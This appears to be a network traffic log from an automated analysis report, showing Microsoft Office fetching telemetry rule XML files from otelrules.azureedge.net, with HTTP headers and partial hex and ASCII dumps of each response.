65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:14 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: d871491f-101e-0046-2593-2a91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045314Z-159b85dff8fj5jwshC1DFW3rgc00000002fg000000003fgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:14 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:14 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:14 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045314Z-16849878b78sx229w7g7at4nkg00000008u0000000007vvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:14 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:14 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:15 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:14 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045314Z-16849878b782d4lwcu6h6gmxnw0000000a8g000000006dfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:15 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:14 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:15 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:15 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e5f0d696-d01e-0082-3cbe-2be489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045315Z-159b85dff8fdjprfhC1DFWuqh000000001dg000000006ztv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:15 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:14 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:15 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:15 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 34089ae0-601e-005c-0dae-2af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045315Z-159b85dff8fx9jp8hC1DFWp25400000002kg000000006nw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:15 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:14 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:15 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:15 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 335320d3-001e-000b-4596-2a15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045315Z-16849878b78qwx7pmw9x5fub1c00000008rg000000005sxp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:15 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:15 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:15 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:15 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045315Z-16849878b78xblwksrnkakc08w00000009ug0000000079qa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:15 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:15 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:15 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:15 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045315Z-16849878b78fkwcjkpn19c5dsn00000009e000000000rurp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:15 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:15 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:15 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:15 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 8964bec7-001e-005a-3570-2ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045315Z-159b85dff8f5bl2qhC1DFWt05800000000wg000000006hmv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:15 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:15 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:15 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:15 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045315Z-16849878b7828dsgct3vrzta70000000092g0000000005d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:15 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:15 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:16 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:15 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045315Z-16849878b785dznd7xpawq9gcn0000000c00000000004kyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:16 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:16 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:16 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:16 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 9667aa6f-a01e-0084-5bc4-2a9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045316Z-159b85dff8fdh9tvhC1DFW50vs00000002p000000000b0x1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
